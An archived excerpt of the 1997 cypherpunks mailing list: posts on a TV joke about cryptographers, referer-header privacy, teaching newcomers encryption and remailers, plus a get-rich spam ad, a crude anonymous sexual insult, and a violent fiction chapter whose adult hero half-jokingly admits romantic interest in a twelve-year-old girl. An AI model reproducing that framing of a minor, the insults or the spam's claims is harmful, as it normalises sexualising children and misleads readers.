President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 14 Apr 1997 15:54:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryptographers made fun of on late-night network television
Message-ID: <v03007807af7827724857@[206.11.192.104]>
MIME-Version: 1.0
Content-Type: text/plain


The show is Politically Incorrect, on ABC at 1:00am.  This show aired on
March 21st (which is the night of the 20th):

Here's what Bill Mahar said (it doesn't parse well):

"Are there any users of cellular phones here? Because people are concerned
(2-3 people finally clap) I knew it was a sophisticated group. Um, no.
People are concerned about the privacy you know. Newt Gingrich, what
happened to him. So a couple of months ago they set out to make these
things a lot better so that you couldn't break in. Well. Put in a new code.
Yesterday, a team of computer experts announced that they had already
cracked the electronic code. And sadly, none of them knew how, still, to
unhook a bra."

All right, so it's not a GOOD joke.  But still....

Bruce

**************************************************************************
* Bruce Schneier                 For information on APPLIED CRYPTOGRAPHY
* Counterpane Systems            2nd EDITION (15% discount and errata),
* schneier@counterpane.com       Counterpane Systems's consulting services,
* http://www.counterpane.com/    or the Blowfish algorithm, see my website.
**************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 14 Apr 1997 17:01:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 31-32
Message-ID: <3352C54B.3024@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Boot War III


"O.K., hardcase, have it your way.", Schultz
launched his boot to its mark, catching 'Arnold' just below the
rib cage.

Arnold doubled over in pain, cursing Schultz with a vengeance,
but unsure as to why he was putting up such strong resistance
to Schultz, when he knew that only pain and grief would come as
a result of his obstinacy. He was sure that he had a reason for
doing so, but his mind was so numbed and confused from the medications
they forced upon him, and the constant physical and psychological
abuse, that his actions were now based on nothing but blind, reactionary
instinct.

The boot-again and again. Until it was all Arnold could remember,
in his past, in his present, and all that he could conceive of
in his life, in the future.

"I know that 'Boot War III' really happened.", Arnold
said weakly, his benumbed mind rambling randomly through hazy
sequences of old programs.
"I was the Rib."

Schultz roared with laughter, as did the other inmates of Nuthouse
Number Nine, Looney Level 'Leven. He kicked Arnold once again,
in appreciation of his 'good bloody sense of humor'.

"Schultz!", the voice was one of command, of ultimate
authority. A voice that Arnold remembered, locked somewhere in
the cobwebs of what remained of his mind. A voice that Arnold
instinctively knew was recorded in stone as the voice of an enemy.

"Yes, sir!", the reply came quickly and loudly from
Schultz, as he snapped to attention, facing the man with the eyes
of cold, gray steel, who had appeared on the VideoLink Monitor.

"Are you having, fun?", the Shadow asked, playfully.

"Yes, sir.", Schultz's smile stretched from ear to ear,
confirming the truth of his statement.

"Good, Schultz. Very good, but I am afraid that your bit
of fun is over, for now."

"Sir?"

"Because tomorrow, my fun begins.", it was the
Shadow's turn to smile broadly.

"Excellent, sir. Very happy to hear, sir.", Schultz
tried to hide his surprise.

"I want you to bring 'Arnold' to the Council chambers, tomorrow,
just before sunset, please."

"Yes, sir. Any special instructions?"

"Yes, Schultz. Thank you for asking.", the Shadow replied
politely, which signaled to Schultz that he was a very, very happy
man, making such a grand show of polite social graces.
"As a matter of fact, I would like you to prepare 'Arnold'
to meet some very old and very dear friends tomorrow. Indeed,
'Arnold' is to be the 'guest of honor' at our gathering. So please
see to it that he is properly prepared for such a grand occasion.
Hygiene, clothing, proper nourishment-nothing but the best, you
understand."

"Yes, sir.", Schultz knew that the better the treatment
the Shadow wanted Arnold to have today, the harder the fall that
the man was going to be taking tomorrow.

"And Mr. Schultz..."

"Yes, sir."

"Our dear friend, 'Arnold', is a very important and distinguished
gentleman. Please treat him with the utmost respect and courtesy,
in keeping with his position."

"Yes, sir. It will be an honor for me to do so, sir. Thank
you, sir.", Schultz was exuberant.
The Shadow knew that Schultz enjoyed this part of the 'game',
the buildup before the fall, as much as he did the sadistic, violent
side of his work. And Schultz was a master. By this time tomorrow,
'Arnold' would be convinced, in what little was left of his mind,
that he was attending his own crowning ceremony.

Arnold would be on a high, high pinnacle of hope and expectation.

With so very, very far to fall.

The Shadow smiled, serenely, at Schultz, and shut off the VideoLink
Monitor.

Schultz turned to Arnold, and helped him up gently from the pool
of blood on the floor.
"Oh, my, sir.", Schultz said, with a tone of genuine
compassion in his voice. "You've had a nasty fall, I must
say."
"We'd better get you cleaned up, sir. You've a very busy
day ahead of you tomorrow."

"Thank you.", Arnold replied, wincing in pain as Schultz
helped him to his feet.
This Schultz. He wasn't such a bad fellow after all, perhaps.

Schultz motioned for his assistants to hurry to Arnold's aid.

"Gently, now. Arnold is a very important guest of ours, and
we must see to his every pleasure. Get him to the infirmary, and
have Dr. Adams take care of him personally."

Arnold, his mind throbbing in pain, drew himself up, as best he
could, as he was helped towards the infirmary. He must carry himself
with a dignity befitting his position, though his mind remained
vague as to just what that entailed.

After all, he was a very important man.


Melissa


Dr. Melissa Adams answered the page to the infirmary immediately,
mystified as to why she was getting the call, instead of her superior.

It was a Priority Red call, and Dr. Harka, Chief of Medicine for
the facility, was currently on duty, so it was very odd, indeed,
for this emergency to fall to her instead of him. She was not
surprised to see Schultz waiting for her outside the infirmary
door, to debrief her on the situation. Although he was, nominally,
just another floor-chief-albeit one with high seniority-it was
common knowledge among the staff that when the Shadow inspected
the facility, it was Schultz, first and last, that he met with
upon his arrival and departure.

She had no love for the man, he was barbarous and cruel by nature,
beyond anything she had ever experienced before, and his very
presence reeked of the kind of a mindless ferocity that bespoke
him to be a man who was capable of performing any act, however
sick or depraved, that he was called upon to accomplish.

"Mr. Schultz.", she was proper and polite, as always.

Schultz, although uncommonly civil, did not waste any time with
social niceties.

"There is a patient waiting for you who has had a rather
nasty fall, Dr. Adams.", Schultz allowed himself a reserved
smile, and Melissa burned inside, knowing she could expect the
patient's injuries to include bruises in the shape of boot marks.
She almost shuddered, thinking of the last 'fall' she had to deal
with.

"I want a full workup on this gentleman." Schultz continued.

"I want him you to work him into better shape than the day
his mother delivered him from the womb. Not a scratch, not a bruise,
not a hint of pain or discomfort when you're done. Do you understand?"

Dr. Adams nodded her understanding, mystified even further now,
about the level of care to be administered to a patient. It was
the first time since she had been employed here that anything
more than rudimentary patch-up work had been allowed on a patient
of any caliber. She asked, unsure if she was treading on thin
ground,
"And his mind, Mr. Schultz?"

Melissa expected a verbal lambasting for this slight hint of insolence
on her part. She was to be very surprised, however, when Schultz,
again totally out of character, replied, with a tone of concern
in his voice,
"Full resuscitation. At least as much as possible, Doctor.
Remove the implants and try to clean up any lingering after-effects.
I'm sure you will do the best that you can, doctor."

"Yes, Mr. Schultz. It is a welcome opportunity, for a change.
I am looking forward to it."

Melissa was surprised at her boldness in expressing her long-standing
dismay at being allowed only to perform 'minimum maintenance'
on the patients, after their abuse at the hands of Schultz and
those like him, but again, Schultz showed no reaction of anger
or displeasure at her remarks.

"One last thing, Ms. Adams."

Schultz had never before spoken to her on this kind of personal
level before, and the doctor was a bit wary of what was to come.

"You were called in to deal with this patient because of
your gender, doctor. It is very important that the patient be
resuscitated psychologically as much as possible in the next twenty-four
hours, and I want you to provide both a human touch and
a feminine touch to your treatment of him, understood?" 

Melissa was not quite sure that she did understand. As
a matter of fact, she was hoping that she had misunderstood
what Schultz was asking of her. Schultz, reading her reaction,
added immediately,
"No, no, nothing like that."
"I merely mean to say that the psychological side of his
progress needs a feminine, healing touch, unlike the poking and
prodding I could expect if I called the staff psychologists in
on this matter.

"Thank you for clarifying that, Mr. Schultz.", Melissa's
tone showed her true sense of relief. "However, we do have
Dr. Martha Winchester available this evening, so perhaps she would
be better suited to the task, from a professional standpoint."

"No, no.", Schultz betrayed a hint of frustration for
the first time in their conversation.
"That woman would be less capable of exuding genuine feminine
warmth, wearing a nightgown, than you would be, wearing a suit
of armor."

Melissa was genuinely shocked by this statement, having never
received any indication that Schultz was even capable of comprehending
any level of human compassion beyond cessation of sheer brute
force. He quickly disproved that, when he continued,
"When you've worked on me, Dr. Adams, your touch has provided
much more comfort and healing than any of the bandages or medications
you've applied to the task. That is what I want of you
for this patient, and I want you to take great pains to assure
that he knows that his full recovery is important to you."

"Understood?"

Melissa, rather than answering right away, stood staring at Schultz
for several moments, dumbfounded by the understanding and respect
he had just indicated for the professional level of human concern
that she brought to her work, something that she was very proud
of, but which had gone unnoticed and unappreciated in this environment-or
so she had thought-until now.

Schultz, much to her surprise, and his own chagrin, blushed.

Ms. Adams resisted the urge to reach out and touch him on the
arm, for his admission of respect for her, but she realized that
he was far from comfortable with appearing 'human', and she didn't
want to cause him further embarrassment.
"I understand, Mr. Schultz. I will do my best to reward your
confidence in me."

Schultz, relieved that they were back on a professional level,
merely nodded his dismissal of her.

Melissa entered the infirmary, resisting the urge to look back
at Schultz, to confirm that it was indeed he, and not an impostor,
but then her mind was snatched immediately towards the work ahead
of her, as she saw her patient.

"Arnold! Oh my! Oh, you poor dear. What have they done to
you?"

Arnold was a mess. A bleeding, broken, bloody mess. The worst
she'd seen in quite some time. Dr. Adams went immediately to work
on some of the nastier cuts.
Thank you, Dr. Adams.", Arnold spoke weakly. "As you
can see, I've had a rather nasty fall."

Dr. Adams stopped what she was doing, and re-evaluated her priorities.
She must get started, right away, on Arnold's mental resuscitation.
It was likely to take longer, and be a great deal more delicate,
than his physical reconstruction.

"Call me Melissa, Arnold."
She touched his face, gently, then took a cooling antiseptic and
soft cloth, wiping the blood and sweat from his brow and his face,
like a mother would do.

"Thank you, Melissa.", Arnold spoke softly, closing
his eyes and relaxing into the first feel of caring human touch
that he could remember in quite a long, long time.

"I'm going to do some work on some areas where you don't
feel any pain, Arnold, but it is very important that I do this,
trust me. Is that O.K. with you, dear one?", she stroked
his brow again, as he replied,
"Yes, Melissa. I trust you. Do what you think best. I trust
you..."

Arnold was fading off to a semi-sleep state of rest, which was
for the best. Dr. Adams reviewed his chart and prepared to begin
removing his implants. She shook her head, sadly.
Melissa had never seen a patient who had been 'juiced' to this
extent before, and she thought it a miracle that the poor man
had any mind left at all. She certainly did not need Schultz's
admonishments driving her, to see that Arnold got her best possible
effort in his recovery. Merely having survived, to this point,
earned him the right to the highest standard of personal and professional
care she could muster.

Melissa stroked Arnold's brow, once again, as she prepared to
begin removing his implants.
"Rest, dear one, just rest. I will take care of you, my sweet.
Trust me. I will do all that I can."

Dr. Adams went to work quickly and efficiently, but she had a
small, nagging concern, in the back of her mind. She remembered
seeing, at various times, how Schultz and others would use temporary
episodes of civility and concern for the benefit of a patient,
then turn around to torment them even further, with the brief
respite from abuse only serving to accent their mistreatment to
an even greater degree, once it resumed.
She knew that she must put this thought far, far from her mind,
for it would do her patient no good. She gazed down at Arnold's
face, seeing him relax even further at each instance of her gentle
touch, putting his complete trust in her.

Melissa winced, realizing that it was not within her power to
prove deserving of that trust, and that his fate, after she had
done her best to heal him, was in the hands of others-like Schultz.

She closed her eyes and paused, to say a special prayer, then
opened them and continued.

Melissa awoke with a start. She had drifted off-for how long?
She glanced at the clock-not long-and then at her patient.

Arnold was beginning to sit up and look around the room, looking
somewhat dazed and confused. His body was almost totally healed,
however.
"Lay back down, dearie.", she gently pushed him back
into the prone position. She stroked his cheek lightly, asking,
"Are you still feeling any pain, anywhere at all?"

"No, no.", he replied. "Thank you, Dr. Adams, thank
you, so very much."

"Call me Melissa, dear."

"Oh, yes. I forgot. Thank you, Melissa.", Arnold squeezed
her hand, in appreciation. She squeezed back, and stroked the
back of his hand with her fingers. She looked at him with deep
compassion, her motherly instincts rising to the fore, and then
other feelings...

"Well, let's check you over.", Dr. Adams jumped to her
feet abruptly, shaking off the emotions she had felt overtaking
her. Transference. Very unprofessional, he's a patient, and he's
vulnerable. Transference. She unconsciously began smoothing her
uniform, as if removing any sign of wanton, unprofessional behavior.

"Oh, I guess that costs extra.", Arnold teased, sending
her into a fit of blushing that she was very unaccustomed to.

"Arnold! Please. I'm your Doctor, I was only..."

"I thought you were Melissa, doctor. And why are you
blushing like a schoolgirl?"

Melissa, naturally, began blushing even more, feeling, in fact,
like a blushing young schoolgirl. She was trying desperately to
regain her professional composure, and she was relieved when Arnold
quit teasing her and responded like a grateful patient.
"Thank you, Doctor Melissa, for your expert professional
assistance, and for personal healing touch."

"You're welcome, Arnold.", Melissa was very happy to
see that he seemed to have full use of his mental facilities.


Dr. Adams was going over Arnold's body, checking for signs of
any residual damages that might have been missed. When she approached
one particular 'private' part of his body, he winked at her, but
she had regained her composure enough to deal with his teasing.
She put on her best look of grave concern, saying,
"Oh, dear. I'm afraid that I might have to amputate."

"Point taken, Doctor Melissa. I'll mind my P's and Q's, ma'am."

"Good, Arnold. Now stand up and tell me if you feel any discomfort."

Arnold stood up, tested his various bodily parts, seemed satisfied
that everything worked, and laughed, saying, in a matter of fact
kind of manner,
"Fit as a fiddle, and ready for the 'rack', once again."

"Oh, no. Please don't say that." Melissa looked as if
she would break into tears.

"Don't feel bad," Arnold put his arm around her shoulder,
comforting her, now, "I trust you, dear Melissa,
but I don't trust Schultz. I suppose that you'd better inform
him that your patient is recovered and he can come pick me up."

"Oh, no.", Melissa replied, happily. "I've been
given leave to keep you in my custody for however long it takes
to effect your complete resuscitation, body and mind."

"Oh-oh.", Arnold shook his head, sadly. "If I'm
getting the VIP treatment, then I guess I'm pretty much 'toast'-sometime
soon, I would guess."

"Oh, no.", Melissa said, once again, knowing that he
was right. "I'm sorry. Perhaps it would been better if I
had..."

"Left me drooling on myself, to the very end?", Arnold
laughed.

Melissa laughed, in spite of herself. She was astounded, but grateful,
that her patient could look so realistically on his future, actually
comforting her instead of dwelling morosely on his own troubles.
She became conscious of his arm around her, and glanced at it.
He removed it, and she found herself regretting that he had done
so.

"So you're not sorry?", she asked.

"The time to be sorry was a long, long time ago, dear. How
long have I got?"

Melissa was surprised, once again, by his seemingly calm acceptance
of his dismal future. She told him,
"I believe until sundown, tomorrow."

"And I have the pleasure of your company, until then?",
Arnold made it sound like his situation was a blessing, and not
a curse. Perhaps...
"Aren't you glad that you fixed me up, so that I'm not drooling
on you for the next...", Arnold glanced at the clock,
"eighteen hours?"

"Yes, Arnold.", she took his hand, gently. "I have
mixed feelings about helping you to be more aware of the abuse
you may be facing in the future, but I'm certainly glad that I'll
be enjoying the company of a gentleman, as opposed to a leafy
food substance."

"Call me 'Cowboy'.", he said, with a grin.

Melissa looked at Arnold with great concern. Was he reverting
back to the state he was in when he first arrived, with all the
mad ramblings about his being a Net'er-the Cowboy, in fact-and
all of that nonsense about the Evil One, including that old myth
about the 'Circle of Eunuchs'?

"Please. Call me Cowboy.", he repeated.

"All right, Arnold...Cowboy.", she corrected herself.

"Do you want to eat?", Melissa asked.
He did need nourishment, and it might help him recover
from the residual effects of the implants, which seemed to leave
lingering traces of his Dark Forces neurosis, though he seemed
to be quite all right, otherwise.

"Let's do it.", he agreed readily.

Melissa phoned down to the kitchen, requesting that a standard
meal for two be brought to the dining hall. They had walked a
short distance towards it, when they were met by a staff-member
who said that they would be dining in her private dining quarters,
instead, and that they should proceed there immediately.

They had no sooner arrived there, than a half-dozen waiters from
outside the facility entered, bearing the makings of a four-course
meal, complete with wine, candles, and soft music.

"It looks like Schultz has decided just how far you should
go towards revitalizing my spirit.", the Cowboy laughed,
as they began eating.

"I made it rather clear to Mr. Schultz,", Melissa said,
with great formality, "where my professional duties began
and ended." Then she added, in a softer, more teasing tone,
"Although it is remains my prerogative, as a woman, to change
my mind, if it pleases me."

"Or if I should please you.", the Cowboy teased,
once again.

"Eat your vegetables.", Melissa said calmly, adding,
cryptically, "You need to regain your strength. You never
know just what might lay ahead of you."

The Cowboy ate his vegetables.

Melissa had noticed-it was impossible not to-how the staff imported
for the occasion fawned over Arnold...the Cowboy, she corrected
herself, still concerned that he clung to that delusion. They
had finished eating, and she was starting to consider taking him
back to the infirmary for some more electro-resuscitation, when
Schultz made his entrance.

Schultz made some polite social talk, thanking Dr. Adams for her
efforts, so far, and inquiring as the patient's progress. Then
he turned to his aide, who produced two bottles from his satchel,
which Schultz took from him and set on the table.

"Compliments of the Shadow, Cowboy."

Melissa looked quizzically at the two of them, and realized that
there was no facetiousness involved on Schultz's part. Arnold
was indeed the Cowboy, it seemed. She saw a hint of sadness cross
the Cowboy's face, and she stole a glance at the label on the
bottles.
"From the Private Reserve of Bubba Rom Dos."

"I'll come for you at six o'clock tomorrow.", Schultz
said, adding, "You will be joining your friends, as
guests of the Shadow."

The Cowboy, upon hearing the word 'friends', had desperately wanted
to ask if Alexis and Priscilla were included, but he could not
show that kind of weakness, especially at a critical time such
as this, when he didn't have any idea where things stood on the
outside.
Things were not looking very promising, however.

"Enjoy.", Schultz bowed low to the Cowboy, then to Melissa,
and made his exit.

"I'm sorry, Cowboy.", Melissa reached out and took his
hand.

"You won't be for long.", the Cowboy replied, reaching
for the nearest bottle of Bubba's Private Reserve. "You are
about to be treated to a generous helping of the best bourbon
on the face of the earth, my dear."

The Cowboy filled two shot-glasses, handed one to Melissa, lifted
his glass, in toast, and said,
"To a legend, a lout, and a damn fine drinking companion...Bubba
Rom Dos IV."

There would be many more toasts tonight, in the course of the
Cowboy relieving himself of the burden of carrying tales untold
for many, many years, with Melissa listening in shocked astonishment.
It was a few hours later, having moved to the couch, to rest lightly
in each other's arms, that the Cowboy had pretty much brought
the tale up to the present.

Melissa, sat quietly, toying with the Cowboy's hair, thinking
about the many strange, but apparently true, things the Cowboy
had touched upon in his healing narrative. He had lay back in
her arms, once again, eyes closed, his mind somewhere far away.

"Here you are," she began, "lying in the arms of
a woman whom you can pretty much have at your pleasure...",
she noticed the 'shit-eating grin' spreading across the Cowboy's
face, despite his quiet repose, and added, "as a dying man's
last request, and not because I'm easy..."

She slapped him lightly, when his grin spread even wider, and
continued,
"...but I get the feeling that my willing heart is going
to be 'jilted'-for the love of a twelve-year old girl, nonetheless."

The Cowboy, opening his eyes, protested mightily, denying any
amorous interest, whatsoever, in Alexis, ridiculing the idea that
a man of his age would...etc., etc., and on, and on...

Finally, realizing that his sincere protestations, voluminous
as they were, were very likely a sign that his denials were for
his own benefit, not for Melissa's, finally ended his exhortations
of non-interest, closed his eyes once again, shrugged his shoulders,
and said,
"Almost thirteen!"

They sat silently for a long spell, Melissa somehow strangely
unaffected by the thought of what this amazing gentleman, resting
quietly in her lap, would be facing, only hours from now. She
suddenly remembered something that had struck her as odd, earlier
in the day.

"Cowboy. I found an implant behind your left ear which was
in place before you arrived here. It appeared to be an antidote
for one of the more mentally debilitating implants that we use
for violent, psychotic cases. If you had not had it in place when
you arrived, then I'm afraid my efforts at mental resuscitation
would have been of very limited effect."

"Just lucky, I guess.", the Cowboy stated, laconically.

"I seriously doubt that, Cowboy. It would have had to have
been implanted a matter of hours before your arrival, and would
have itself done a great deal of damage to your mind, if the implant
it was meant to counteract had not been put in place shortly thereafter.

"You planned on being brought here, didn't you?",
Melissa stared at him in renewed wonderment. "For god's sake,
why?"

The Cowboy looked up at Melissa, took her hand, raised it to his
lips, and kissed it gently.
"Melissa," he said, with affection, "We can't go
on meeting, like this."

The Cowboy laughed, and closed his eyes, once again, drifting
off into a deep state of relaxation. Melissa smiled at his boyish
charm, and said,
"You're crazy, you know."

"That's why I'm here, ma'am.", was the Cowboy's reply.

"That's why I'm here."


Chapter 31 - Boot War III / Chapter 32 - Melissa








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 14 Apr 1997 17:45:31 -0700 (PDT)
To: Wesley Felter <wesf@mail.utexas.edu>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704142152.RAA11179@relay3.smtp.psi.net>
Message-ID: <3352CDD5.6B98@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Wesley Felter wrote:

> If I want to run an SSL
> Web server, why the hell won't Navigator or MSIE let me do it
> (peacefully) without a certificate? 
> If I
> already paid RSA's ransom for SSL servers and clients, why should I have
> to pay Verisign an outrageous amount of money to make clients "trust" my
> server

> I know that Netscape is making the Internet safe for rampant consumerism
> (if you see the blue bar, it's safe to spend money), but what about
> secure, non-financial communications? Sorry, the needs of the AOL sheep
> to not have to think about security outweigh everything else. While I
> think referrers and cookies are useful, they represent other ways in
> which the big commercial browser companies want to pave over the Internet
> and turn it into the Mall of America. 

  My own theory is that the Great Beast talked about in the Book of
Revelations is the Home Shopping Network. The graven image which
the Jews worshipped in the the Egyptian desert was actually a
Fat Elvis porcelain figurine, embedded with genuine cubic zirconiums.

  When Jesus returns, it will be on his own WebSite. The only question
is whether the server will be in Jerusalem, Rome, or Salt Lake City.
  The reason Armageddon will be such a great battle is that Jesus will
be handicapped by the fact that so many of his representatives have
pissed away the major portion of his reputation capital during his
absence. The Home Shopping Network, having never had much reputation
capital, will be forced to drop prices dramatically, resulting in us
all entering a Heavenly Kingdom where we can each afford a Plastic
Jesus for our dashboard AND a Fat Elvis porcelain figure for our
boudoir.

  Of course, the above scenario all depends on Jesus being able to
get certification as a 'trusted authority' for his WebSite.
  I hope he brings his wallet with him.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Windansea@mail1.access.digex.net
Date: Tue, 15 Apr 1997 02:59:43 -0700 (PDT)
To: windansea@notnet.com</A>
Subject: Filet Mignon vs Spam
Message-ID: <windansea@notnet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're about to discover that not *everything* that lands in your e-mail
box is a scheme. If you've been thinking about making a lasting change
in your financial destiny, you owe it to yourself to get the FREE facts, at:

http://www.windansea.com

[x] The *truth* about your financial security, schemes and scams
[x] How Safe is Your Job? Take our revealing CyberQuiz and find out
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[x] Get your own 3D Home Page
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--Brian Tracy, best-selling author of MAXIMUM ACHIEVEMENT
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"Goes much deeper than it's competition."
--OPPORTUNITY Magazine

"Based on tried and true strategies, that, for the most part, the experts
have kept secret."
--Author Anthony Trupiano, in THE BEST DEALS IN AMERICA TODAY

"Literally shouts professionalism in every sense of that over-used term."
--Stew Caverly, STEW'S REVIEWS

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Check It Out Now, at:

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***NOTE***
While we are proponents of sending legitimate information to targeted
recipients by e-mail, if this message has reached you in error, please
accept our sincere apologies, and kindly send a reply with "Remove" in
the subject to be excluded from future contact.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Mon, 14 Apr 1997 19:51:30 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <3351CD43.5BB3@sk.sympatico.ca>
Message-ID: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain



>   There isn't a week that goes by without my receiving an email from
> someone who thanks me for the benefit they have gained by my introducing
> them to encryption or anonymous remailers, yet I doubt that many of them

Toto hints at some issues here that I've been wondering about for a while 
now.  What are some effective strategies for securely introducing 
"newbies" to the world of cryptography and anon remailers?  I'm 
currently attending college, which means that my peers all use email very 
regularly -- a ripe environment for use of cryptography in email, I should 
think.  However, nearly everyone's email accounts are on a central Unix 
machine, which brings up many issues about the (lack of) security of 
private keys on multiuser machines.

My question is this -- is it better for the crypto community in the long 
run to have more people using encryption, but perhaps insecurely, or 
to have fewer users whose communications are more cryptographically secure?

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 14 Apr 1997 18:22:34 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [URGENT] Cyclic codes
Message-ID: <199704150119.TAA01671@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> Warning: if you fuck Timmy C[ocksucker] May in the ass, a rabid tapeworm
> might bite your penis.

  This was already discussed extensively on the list in the early days.
It was one of the many threads I started on the subject.
  Those such as Anonymous, Nobody, and others, are merely recent 
interlopers who attempt to take credit for discoveries by the original
list members, such as myself.

  After all, how do you think Rabid Wombat got his name?

Just say "No" to "TruthMangler Inside"
We got tapeworms, we're biting penis's, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@systemics.com>
Date: Mon, 14 Apr 1997 10:44:20 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <199704141744.TAA05305@internal-mail.systemics.com>
MIME-Version: 1.0
Content-Type: text/plain



> This particular feature (the HTTP referer header) has nothing to do with
> corporations "having their way" with users.  It was created so that web
> authors could put "back" buttons on their pages.  The security problem
> arises when stupid CGI authors use GET forms to transfer sensitive
> information.  This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
> problem with that, contact the author of that specification.  Or, better
> yet, contact the web site (as far as I know, there are none) that has
> this security hole.
> 
> So, you think we're doing something bad.  Why don't you tell me what
> you think we should do?

A couple of points.  Firstly, I don't see a need for the referer header to 
"traverse" different domains.  For example, if I have a local page called 
"dorks.html", with a link pointing to, say, David Sternlights home page,
then he can deduce my opinion of him by looking at the referrer field.
This puts an unnecessary burden on my local bookmark web pages - I can no 
longer give the pages reasonable names (such as "dorks.html").

Secondly, a back button should not be implemented using referer headers.  If I 
have a back button on my page, I expect it to do what the Netscape back button 
does.  However, this is not what happens - back buttons built into web pages 
create a long chain of "forward" links. (I'm probably not explaining myself 
too well here).  What is really required is a special type of link that does 
exactly what the netscape back button does (and it would also be nice if I 
could put forward links in my pages too).

Perhaps the latter objection is do-able in Javascript - it's been some time 
since I tried.


Gary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Mon, 14 Apr 1997 11:43:25 -0700 (PDT)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <Pine.SUN.3.96.970414115216.28199C-100000@polaris.mindport.net>
Message-ID: <199704141834.UAA28021@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



 A million monkeys operating under the pseudonym 
 "Black Unicorn <unicorn@schloss.li>" typed:
>
> "You are about to forward a referer header to the page you have selected.
> Forwarding the referer header to this site may reveal more about your web
> browsing habits than you would prefer.  Should <netscape> surpress the
> referer header?  Yes/No/Always Surpress/Never Surpress."


Minor UI nit:  it would be much much better if it said 


"You are about to send a 'referrer header' telling the next web 
site about the web page you are currently looking at.  Should 
<netscape> send this 'referrer header'?  
[Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]"



Regards,

Zooko Journeyman

Disclaimers follow:  I am not a cypherpunk.  NOT speaking for 
DigiCash or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 14 Apr 1997 20:59:43 -0700 (PDT)
To: enystrom@aurora.nscee.edu
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
Message-ID: <199704150359.UAA14778@slack.lne.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 14 Apr 1997 21:45:44 -0700 (PDT)
To: Eric Nystrom <enystrom@aurora.nscee.edu>
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
Message-ID: <335307BE.7718@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Nystrom wrote:
>  What are some effective strategies for securely introducing
> "newbies" to the world of cryptography and anon remailers? 

  I have found that rather than promoting encryption and anony
remailers, that it is much more effective for me just to be aware
of when someone mentions a problem they are having that can be
solved by crypto/remailers.
  I always try to give them a short list of what is required to
use various options, and what is gained by them.
  The biggest thing to me is to try to point them toward a level
of technology that they are capable of using, or will be capable
of learning, given the level of their problem.

  The following remailers are ones I recommend for totally newbie
computer wrestlers who need a graphic interface and have access
to a browser.
http://www.myemail.net/anonymous.htm
http://www.ozemail.com.au/~geoffk/anon/anon.html

> My question is this -- is it better for the crypto community in the long
> run to have more people using encryption, but perhaps insecurely, or
> to have fewer users whose communications are more cryptographically secure?

  My opinion is that the more people who use encryption with an
understanding of what level of security they are getting, then
the more people who will eventually graduate to higher levels
of security when using crypto.
  If teenagers use crypto to keep their private diary safe from
little brother or sister's prying eyes, then they will begin to
learn more about it at an early age. If little brother or sister
is a computer whiz, and cracks their diary open, then they will
get a valuable life lesson that may save them from  more costly
lessons in the future.

  Also, if a wide range of people are using crypto, whether it
is strong and secure or not, then there will be a larger group
of people interested in the government or their employer not 
interfering with their use of it.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 14 Apr 1997 21:49:09 -0700 (PDT)
To: Anonymous <nobody@replay.com>
Subject: Re: [URGENT] Cyclic codes
